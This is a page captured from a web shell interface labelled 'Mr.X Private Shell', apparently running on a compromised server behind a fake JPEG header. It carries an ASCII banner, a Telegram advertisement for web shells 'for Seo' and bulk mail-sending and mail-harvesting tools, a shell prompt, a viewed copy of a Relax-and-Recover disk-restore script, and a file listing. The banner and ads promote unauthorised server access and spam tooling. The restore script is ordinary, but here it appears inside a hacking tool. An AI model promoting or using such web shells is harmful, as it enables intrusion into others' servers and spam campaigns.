����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
# This file is part of Relax-and-Recover, licensed under the GNU General
# Public License. Refer to the included COPYING for full text of license.
#
# 400_restore_clone.sh

LogPrint "Restoring $backuparchive to $BLOCKCLONE_SOURCE_DEV \
using $BLOCKCLONE_PROG"

# Target device does not exist, abort
if [ ! -b "$BLOCKCLONE_SOURCE_DEV" ]; then
    Error "Can't find target device $BLOCKCLONE_SOURCE_DEV"
fi

# Check if target device is mounted
local is_mounted=$(is_device_mounted $BLOCKCLONE_SOURCE_DEV)

if [[ "$BLOCKCLONE_ALLOW_MOUNTED" =~ ^[nN0] ]] && [ "$is_mounted" = "1" ]; then
    Error "Can't start restore, $BLOCKCLONE_SOURCE_DEV is mounted."
fi

local umount_res="-1"
local mp=""
if is_true "$BLOCKCLONE_TRY_UNMOUNT" && [ "$is_mounted" = "1" ]; then
    mp=$(get_mountpoint $BLOCKCLONE_SOURCE_DEV)
    # try unmount
    if [ ! -z "$mp" ]; then
        umount_mountpoint $mp
        umount_res=$?
    fi
fi

# Just put entry into log, that restore of mounted device was made
is_mounted=$(is_device_mounted $BLOCKCLONE_SOURCE_DEV)
if [ "$is_mounted" = "1" ]; then
    LogPrint "BLOCKCLONE was made on mounted device."
    LogPrint "Restore might be inconsistent: filesystem repair my be needed."
fi

# BLOCKCLONE progs could be handled here
case "$(basename ${BLOCKCLONE_PROG})" in
    (ntfsclone)
        ntfsclone -q --restore-image $BLOCKCLONE_PROG_OPTS \
        -O $BLOCKCLONE_SOURCE_DEV $backuparchive
    ;;
    (dd)
        # Let 'dd' read and write up to 1M=1024*1024 bytes at a time to speed up things
        # cf. https://github.com/rear/rear/issues/2369 and https://github.com/rear/rear/issues/2458
        # Have "bs=1M" before BLOCKCLONE_PROG_OPTS because when BLOCKCLONE_PROG_OPTS
        # contains already e.g. "bs=4k" (cf. doc/user-guide/12-BLOCKCLONE.adoc)
        # the last of the two "bs=..." settings wins (at least with 'dd' on openSUSE Leap 15.1)
        dd bs=1M $BLOCKCLONE_PROG_OPTS of=$BLOCKCLONE_SOURCE_DEV if=$backuparchive
    ;;
esac

StopIfError "Failed to restore image."

# If $BLOCKCLONE_SOURCE_DEV was initially mounted AND successfully unmounted, 
# warn about remounting it before leaving
if [ "$umount_res" = "0" ]; then
    # Keys may have changed -- mounting is left as an exercise to the user
    LogPrint "Please remount $mp manually if needed."
fi

Filemanager

Name Type Size Permission Actions
100_mount_NETFS_path.sh File 140 B 0644
200_remove_relative_rsync_option.sh File 845 B 0644
380_prepare_multiple_isos.sh File 434 B 0644
381_change_restore_defaults.sh File 433 B 0644
390_create_partitions.sh File 3.91 KB 0644
400_restore_clone.sh File 2.25 KB 0644
500_selinux_autorelabel.sh File 1.05 KB 0644
510_selinux_fixfiles_exclude_dirs.sh File 2.31 KB 0644
510_set_capabilities.sh File 1.41 KB 0644
980_umount_NETFS_dir.sh File 154 B 0644